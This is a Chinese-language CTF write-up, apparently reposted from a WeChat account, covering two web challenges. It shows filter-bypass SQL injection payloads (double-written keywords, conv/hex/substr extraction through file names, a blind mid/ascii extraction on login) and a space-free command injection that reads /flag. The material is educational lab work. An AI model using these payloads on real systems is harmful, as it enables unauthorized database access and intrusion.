CTF之Web题型总结三

admin 2025年6月10日18:24:01评论17 views字数 2402阅读8分0秒阅读模式
在CTF比赛中,Web题是最常见的题型,考点涉及到Web常见的漏洞如任意文件上传、SQL注入、文件包含等。其中SQL注入又是重中之重,根据题目的难度,往往会是多种漏洞组合而成的题型。接下来举几个以前CTF比赛中比较经典的几道Web题。

upload(SQL注入+文件上传)

http://111.200.241.244:55378/index.php

CTF之Web题型总结三

根据题目名称upload提示,这里应该是从文件上传作为攻击入口,因此正常注册账号admin:admin

CTF之Web题型总结三

成功登录后发现存在文件上传点

CTF之Web题型总结三

这里通过上传各类文件,发现只有jpg文件才能正常上传

CTF之Web题型总结三

若为其他的后缀文件,报错

CTF之Web题型总结三

由于后台文件后缀强制白名单,因此想要通过上传文件解析获得webshell的路被堵死了。以前做安全测试的时候通常也都只关注后缀名的问题,这里考察的就是对文件名的利用。在这个题目中,前端上传文件到服务器,并将文件名保存到服务器的数据库中,然后前端从数据库中获取文件名称。在这个过程中,文件名称是我们控制且能利用的。

因此这里首先设置文件名为select.jpg,可以看到文件名select被拦截掉了

CTF之Web题型总结三

而test.jpg就正常显示

CTF之Web题型总结三

因此这里大概后台的语法就类似

1. Insert tablename Value(文件名)

2. Select 文件名 from tablename where uid=1661

最终文件名如果是我们构造的SQL语句就能在最后的显示环节被解析。

接下来考虑绕过select,由于select被置空,双写绕过尝试

selselectect.jpg -- > select.jpg

CTF之Web题型总结三

(Selselectect database()).jpg

CTF之Web题型总结三

看起来没有解析,通过引号尝试闭合,‘+(Selselectect database())+’.jpg

CTF之Web题型总结三

回显为0,考虑通过进制转换

'+(selecselectt hex(database()))+'.jpg

CTF之Web题型总结三

回显的都为数字,没有字母。理论上如果数据库名中带数字,转为16进制会有英文,如果带有字母,也会有英文。因此这里16进制转换后,被过滤了一部分数据。至少说明字母无法显示。因此考虑将16进制转为10进制,然后再显示。

'+(selecselectt conv(hex(database()),16,10))+'.jpg

CTF之Web题型总结三

可以看到这里已经转成10进制了,但是由于数字太大,显示为科学记数法,可以考虑通过substr分割显示,保证每一段都能以10进制的方式正常呈现。

'+(selselectect conv(substr(hex(database()),1,12),16,10))+ '.jpg

CTF之Web题型总结三

利用burp的decoder模块,将131277325825392编码转为hex,然后解码成ascii,得到web_up

CTF之Web题型总结三

取后半部分,最终得到数据库名为web_upload

'+(selselectect conv(substr(hex(database()),13,12),16,10))+ '.jpg

CTF之Web题型总结三

同理获得数据表名为hello_flag_is_here

'+(selecselectt conv(substr(hex((selecselectt table_name frofromm information_schema.tables where table_schema='web_upload' limit 1,1)),1,12),16,10))+'.jpg
字段名为i_am_flag

'+(selecselectt conv(substr(hex((selecselectt column_name frofromm information_schema.columns where table_name='hello_flag_is_here' limit 0,1)),1,12),16,10))+'.jpg

取值为!!_@m_Th.e_F!lag
'+(selecselectt conv(substr(hex((selecselectt i_am_flag frofromm hello_flag_is_here limit 0,1)),1,12),16,10))+'.jpg

都过滤了(SQL注入+命令执行)

首页是一个登录框

CTF之Web题型总结三

在测试用户名和密码的时候,存在3种响应

输入admin:123456

CTF之Web题型总结三

输入test:123456

CTF之Web题型总结三

输入admin--+:123456

CTF之Web题型总结三

可以看到存在SQL注入的检测,且存在用户名admin,根据题目《都过滤了》以及提示,该题应该是一道SQL注入题,且部分特殊字符都被过滤掉了。

CTF之Web题型总结三

因此需要考虑的是如何对用户名这个字段进行绕过。这里利用到一个技巧,在mysql数据库中,字符串和数字类型也可以做比较,比较之前,字符串都会转化成0。

这里payload 设置为admin'-0-'

CTF之Web题型总结三

提示密码错误,说明用户名成功绕过

然后尝试通过mid函数读取数据库列的数据。

这里mid的用法注意

Mid(str FROM pos FOR len)

通过这种方式可以不使用逗号,从而绕过逗号的过滤。如果具有空格过滤,可将str/pos/len进行括号

MID((str)FROM(pos)FOR(len))

CTF之Web题型总结三

admin'-(mid((passwd)from(1))='a')-'

CTF之Web题型总结三

接下来可以使用ascii函数,默认只会对数字的第一位进行转换

CTF之Web题型总结三

CTF之Web题型总结三

得到payload为:

admin'-(ascii(mid((passwd)from(1)))=ord(‘a'))-'

通过不断遍历from(1)的位置,就可以获得passwd字段的值

最终通过脚本如下

CTF之Web题型总结三

获得密码hash为

密码是4dcc88f8f1bc05e7c2ad1a60288481a2

解密得到

CTF之Web题型总结三

使用admin:bugkuctf登录

CTF之Web题型总结三

这里有一个命令执行的输入口,通过测试,当有空格的时候被过滤。最终通过重定向cat</flag读取文件。

CTF之Web题型总结三

CTF之Web题型总结三

CTF之Web题型总结三

原文始发于微信公众号(第59号):CTF之Web题型总结三

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年6月10日18:24:01
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CTF之Web题型总结三https://cn-sec.com/archives/885160.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息